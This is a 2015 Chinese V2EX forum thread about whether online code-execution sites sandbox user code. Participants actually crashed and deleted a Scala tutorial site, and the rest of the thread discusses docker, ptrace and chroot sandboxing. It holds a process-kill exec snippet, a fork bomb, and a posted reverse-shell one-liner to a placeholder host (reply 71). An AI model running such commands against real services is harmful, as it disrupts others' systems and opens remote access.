hellomsg
V2EX  ›  Java

网站在线运行代码

  •  1
     
  •   hellomsg · Jun 4, 2015 · 14677 views
    This topic created in 4172 days ago, the information mentioned may be changed or developed.

    像 http://zh.scala-tour.com/ 这样的网站,他们的代码直接在服务器上运行然后返还结果吗?还是在什么沙箱或虚拟机里运行。

    如果在服务器上运行,是不是我在他的代码框里执行以下代码就可以把它的进程给杀了。。。
    val rt:Runtime = Runtime.getRuntime();
    val p:Process = rt.exec("kill n");

    Supplement 1  ·  Jun 5, 2015
    博主已经现身,我也收到他的邮件回复了,我希望大家不要随便搞他的网站了。他的scala教程我正在看,别删了额,我在学习
    怎奈何没办法删帖
    108 replies  •  2017-05-22 17:57:14 +08:00
    1  2  
    ❮ ❯
    Livid
    Livid
    MOD
    PRO
    Jun 4, 2015❤️3
    1
    那你就在框里尝试一下各种可能性就知道了。
    oisc
    oisc
    Jun 4, 2015
    2
    楼主你做了什么。。。。。 网站进不去了。。。。
    lujiajing1126
    lujiajing1126
    Jun 4, 2015
    3
    Application Error
    An error occurred in the application and your page could not be served. Please try again in a few moments.

    If you are the application owner, check your logs for details.

    LZ你干了什么。。。
    hellomsg
    hellomsg
    OP
    Jun 4, 2015❤️2
    4
    谁知道真这样
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    5
    @Livid
    你让我屎的。。。
    isaced
    isaced
    Jun 4, 2015
    6
    真的吗?
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    7
    @lujiajing1126
    @oisc
    这下完了,咋办
    Livid
    Livid
    MOD
    PRO
    Jun 4, 2015
    8
    @hellomsg ……你可以写信告诉他们这个漏洞……
    zrp1994
    zrp1994
    Jun 4, 2015
    9
    楼主好样的
    lujiajing1126
    lujiajing1126
    Jun 4, 2015
    10
    @hellomsg 查下域名是谁的。。然后写个Email。。。
    oisc
    oisc
    Jun 4, 2015
    11
    @hellomsg 细软跑吧 ~~~~ 或者报告漏洞说不定还有奖励
    x4
    x4
    Jun 4, 2015 via Android
    12
    楼主怎么可以这样。。。。
    ezreal
    ezreal
    Jun 4, 2015
    13
    docker
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    14
    @ezreal ?
    mytharcher
    mytharcher
    Jun 4, 2015
    15
    是 heroku 上的,估计是没有捕获异常,然后 app 进程就挂了。
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    16
    一失足成千古恨,怎么办,蹲监狱吗
    razrlele
    razrlele
    Jun 4, 2015 via Android
    17
    简直6
    xiaozi
    xiaozi
    Jun 4, 2015
    18
    docker 做沙箱,http://tool.lu/coderunner/ 欢迎测试
    vjnjc
    vjnjc
    Jun 4, 2015
    19
    现在能进了啊,我还贴了楼主的代码然而没有什么鸟用
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    20
    @vjnjc 看来我自作了,哈哈
    molinxx
    molinxx
    Jun 4, 2015 via iPhone
    21
    这类网站有不少,有问题的也不少,我记得有个T字母开头的,可以执行那个Fork炸弹,已经发邮件通知官方了,貌似仍未处理…
    hellomsg
    hellomsg
    OP
    Jun 4, 2015
    22
    @xiaozi 这个不错,每个会话一个沙箱吧?最多能开多少个沙箱?
    oott123
    oott123
    Jun 5, 2015 via Android
    23
    哈哈哈哈哈今日最佳
    shawnxwang
    shawnxwang
    Jun 5, 2015 via iPhone
    24
    楼主你太棒了…
    wilsonxyz
    wilsonxyz
    Jun 5, 2015
    25
    查询了一下WHOIS,是中国人呢,发封邮件提醒下吧。

    http://www.xz.com/domain/whois?domain=SCALA-TOUR.COM
    Jafee
    Jafee
    Jun 5, 2015 via Android
    26
    哈哈哈!
    cnnblike
    cnnblike
    Jun 5, 2015
    27
    哈哈哈哈哈哈,楼主好萌啊
    ligyxy
    ligyxy
    Jun 5, 2015
    28
    从第二楼开始就忍不住笑了
    iyaozhen
    iyaozhen
    Jun 5, 2015 via Android
    29
    @ligyxy 看到帖子的回复数和一楼L大的“怂恿”,我就感觉要出事。
    fuge
    fuge
    Jun 5, 2015 via iPhone
    30
    哈哈哈哈哈哈 笑尿了
    virusdefender
    virusdefender
    Jun 5, 2015
    31
    @xiaozi 你是怎么加固的docker呢?最近在做oj的判题,发现docker默认的配置还是有安全风险的。
    hellomsg
    hellomsg
    OP
    Jun 5, 2015 via iPad
    32
    @wilsonxyz 发了,微博都给私信了,没有回应
    Hyperion
    Hyperion
    Jun 5, 2015 via Android
    33
    @hellomsg 又不是破坏数据,咳咳。当事人一定会原谅你的。
    wy315700
    wy315700
    Jun 5, 2015❤️1
    34
    @virusdefender oj的判题,ptrace禁止标准输入输出外的系统调用就没问题了吧,我们以前的OJ工作了好多年了。。。
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    37
    @hellomsg 涨姿势了
    @wy315700
    virusdefender
    virusdefender
    Jun 5, 2015
    38
    @wy315700 ptrace对性能影响有些大呢
    wy315700
    wy315700
    Jun 5, 2015
    39
    @virusdefender

    不ptrace你怎么获取程序的 :“执行时间”,“使用内存”,怎么在程序超时的时候kill掉。
    其实对性能影响不怎么样,因为真正在OJ里跑的,基本上系统调用很少,触发的也少。

    当然,还有一些攻击,比如 "include攻击"需要额外注意一下。。。
    virusdefender
    virusdefender
    Jun 5, 2015
    40
    @wy315700 执行时间现在就按照实际运行时间计算的,不是cpu time,内存是通过/proc/pid/xxx获取的

    嗯~谢谢你了
    wy315700
    wy315700
    Jun 5, 2015
    41
    @virusdefender
    会有问题的,机器负载大的时候,而且如果不进行实时监控,MLE和OLE会挤爆的。

    ICPC现场一般都是PC2,也没什么安全防护,结果当初我们比赛的时候有个人提交了这么个代码:

    while(1) fork();

    然后,,,,,
    denghongcai
    denghongcai
    Jun 5, 2015
    42
    我勒个去……还真崩了……

    docker沙箱只要不给sudo权限,不给root,不挂载外部文件系统还是安全的
    主要是要限制docker的资源使用和CPU时间
    cjyang1128
    cjyang1128
    Jun 5, 2015
    43
    @cnnblike 惊现柯神
    HowardMei
    HowardMei
    Jun 5, 2015
    44
    笑死了,哈哈,楼主经不起诱惑啊,名人一劝,就把节操给丢了
    qqjt
    qqjt
    Jun 5, 2015
    45
    ……我服
    zythum
    zythum
    Jun 5, 2015
    46
    今日最佳
    qsz13
    qsz13
    Jun 5, 2015
    47
    刚刚试了下rm...现在好像又不能访问了,我是不是该给作者写邮件道歉了
    learnshare
    learnshare
    Jun 5, 2015
    48
    Good Job !
    shiniv
    shiniv
    Jun 5, 2015
    49
    现在404了....
    houfukude
    houfukude
    Jun 5, 2015
    50
    噗 果然404了 你们这群坏人!
    xustrive
    xustrive
    Jun 5, 2015
    51
    @qsz13 好像真的被删除了额
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    52
    @qsz13 你完蛋了,你比我还狠
    lincanbin
    lincanbin
    Jun 5, 2015
    53
    @qsz13 你玩过头了。
    qsz13
    qsz13
    Jun 5, 2015
    54
    @xustrive 我真的错了 已经发邮件道歉了 >.<
    subpo
    subpo
    Jun 5, 2015
    55
    火钳刘明!
    secondwtq
    secondwtq
    Jun 5, 2015
    56
    最近也在做这个东西...

    说来我一个 ACM 渣,怎么就做起了 OJ 呢...
    YORYOR
    YORYOR
    Jun 5, 2015❤️1
    57
    你们玩大了 我就是那个站长!
    shiniv
    shiniv
    Jun 5, 2015
    58
    @YORYOR 233
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    59
    @qsz13 我手机端还可以访问,但是电脑端报404
    jsq2627
    jsq2627
    PRO
    Jun 5, 2015
    60
    @hellomsg 浏览器缓存吧
    Syaoran
    Syaoran
    Jun 5, 2015 via iPhone
    61
    这就404了,如果站长没备份怎么办……
    hellov22ex
    hellov22ex
    Jun 5, 2015
    62
    玩大了,已经404了
    liujiantao
    liujiantao
    Jun 5, 2015 via Android
    63
    这也是得怪作者不加以限制,kill可以执行,rm都可以。。。
    lazycat
    lazycat
    Jun 5, 2015
    64
    卧槽这个有点厉害。。。笑死我了哈哈哈哈
    momou
    momou
    Jun 5, 2015
    65
    赔我午饭!!!
    lrqrun
    lrqrun
    Jun 5, 2015
    66
    哈哈,作者要找你拼命了
    chinabrowser
    chinabrowser
    Jun 5, 2015 via Android
    67
    陪我早餐Σ(っ °Д °;)っ
    qihboy
    qihboy
    Jun 5, 2015
    68
    23333333333....
    tzwm
    tzwm
    Jun 5, 2015
    69
    @qsz13 刚想进去玩玩,你就先给玩坏了……-_-!
    LedChang
    LedChang
    Jun 5, 2015
    70
    @qsz13 = =!
    RIcter
    RIcter
    Jun 5, 2015
    71
    来,给你们几个 payload:

    反弹 shell 到 xxxx.com 的 8888 端口:
    bash -i >& /dev/tcp/xxxx.com/8888 0>&1
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    72
    @jsq2627 不是缓存。我手机联通的,估计有两个或更多容器在跑,电信一个、联通一个。。。。猜的
    duteng612
    duteng612
    Jun 5, 2015
    73
    使用chroot(http://www.tutorialspoint.com/unix_system_calls/chroot.html),修改root dictionary;这一步骤可以保证你的服务器安全;然后再当前目录下配置运行环境(解释型和编译型的语言有些差异),不同语言也需要做一些不同的处理,之后使用ptrace跟踪运行程序;
    KayYan
    KayYan
    Jun 5, 2015
    74
    @hellomsg 我才是真正的作者。
    当初做的时候,考虑这个问题。觉得坑很大,就决定不自己处理,让Heroku帮我搞。现在看样子Heroku也靠不住。挑个吉时上DaoCloud吧。
    giuem
    giuem
    Jun 5, 2015
    75
    @KayYan 23333
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    76
    @KayYan
    @giuem
    看名字确实是你。
    @qsz13 快来快来,当事人来了
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    77
    @KayYan 你应该是部署了好几个吧?我的手机还可以访问,电脑端访问不了了
    KayYan
    KayYan
    Jun 5, 2015
    78
    @hellomsg 我重启过了。电脑访问不了了可能是因为网络的原因(翻墙可能访问不了)。
    Mrxx
    Mrxx
    Jun 5, 2015
    79
    "框里尝试一下" 不能更清晰
    cctv6
    cctv6
    Jun 5, 2015
    81
    qsz13
    qsz13
    Jun 5, 2015
    82
    @KayYan 实在抱歉啊,我当时没想到真的会被删掉
    KayYan
    KayYan
    Jun 5, 2015
    83
    @qsz13 没关系的。我有监控可以看,出了问题就重启。这些年就是这么过来的。T_T
    fwee
    fwee
    Jun 5, 2015❤️1
    84
    @KayYan 参与过他们内测 部署个应用后还拿了件衣服 (这里赞下Daocloud, 服务和T恤都很赞..),国内访问速度要比heroku好 强烈推荐

    等作者上了Daocloud后去kill下试试..看能不能再骗件衣服..
    wph95
    wph95
    Jun 5, 2015 via iPhone❤️2
    85
    CodeVS.cn
    1个OJ
    用户把代码扔到我们平台上评测…
    用ptrace做沙盒的……时间损耗太大了
    daocloud
    daocloud
    Jun 5, 2015
    86
    他是
    曾经的软院大神
    今日DaoCloud的主架构师
    人称开叔的 @KayYan

    多年前的Scala神作,在V2EX上被躺枪
    Heroku靠不住,DoCloud玩不坏
    开叔轻轻的敲下重大决策按钮
    Docker Run,从此不再404

    ~DaoCloud祝V2EX网友周末愉快~
    sakeven
    sakeven
    Jun 5, 2015❤️1
    87
    @virusdefender 我们使用ptrace做的,目前大部分oj的判题实现也是这个,禁止某些系统调用,限制堆栈、运行时间、内存等。可以看看我们的 <a href="https://github.com/ZJGSU-Open-Source/RunServer/tree/master/Cjudger"> ZJGSU </a>
    est
    est
    Jun 5, 2015
    88
    @KayYan V2EX 第 120720 号会员,加入于 2015-06-05 13:46:27 +08:00,今日活跃度排名 1507
    est
    est
    Jun 5, 2015
    89
    @daocloud 如果这贴是你们的广告,那就是神作了。
    wy315700
    wy315700
    Jun 5, 2015
    90
    @est 肯定是看到帖子注册的。。。


    @sakeven
    话说你们的代码和HUST的好像,,,
    搭车也放一下我们Ecust的OJ系统
    https://github.com/wy315700/ecustoj/tree/master/JudgeCore1

    @virusdefender
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    91
    @est 我也怀疑,他在邮件回复里只说正琢磨要Docker化,没提什么daocloud
    daocloud
    daocloud
    Jun 5, 2015
    92
    @est 注册不嫌早晚,活跃无需排名,talk is cheap, show me the code.
    hellomsg
    hellomsg
    OP
    Jun 5, 2015
    93
    @est 不过,如果这帖子真是广告,那
    @daocloud 的回复就是画蛇添足了,神作也被他给毁了。我正在邮件询问那个新号是不是站长的
    sakeven
    sakeven
    Jun 6, 2015
    94
    @wy315700 确实是用hust开源代码重构的,我们保留了代码原有的Copyright声明。
    flowfire
    flowfire
    Jun 6, 2015
    95
    今日最佳2333333
    gooffer
    gooffer
    Jun 6, 2015
    96
    @virusdefender 什么风险-,-
    gooffer
    gooffer
    Jun 6, 2015
    97
    @wph95 ptrace挺好的
    comzyh
    comzyh
    Jun 6, 2015 via Android
    98
    炸出一片做OJ的
    nowcoder
    nowcoder
    Jun 6, 2015
    99
    神人太多,好担忧牛客网的OJ -,-
    wizardforcel
    wizardforcel
    Jun 6, 2015
    100
    肯定是直接跑服务器的。

    在沙箱里面应该是这个样子: http://3v4l.org/S8T4b
    1  2  
    ❮ ❯
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2281 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 150ms · UTC 12:14 · PVG 20:14 · LAX 04:14 · JFK 07:14
    ♥ Do have faith in what you're doing.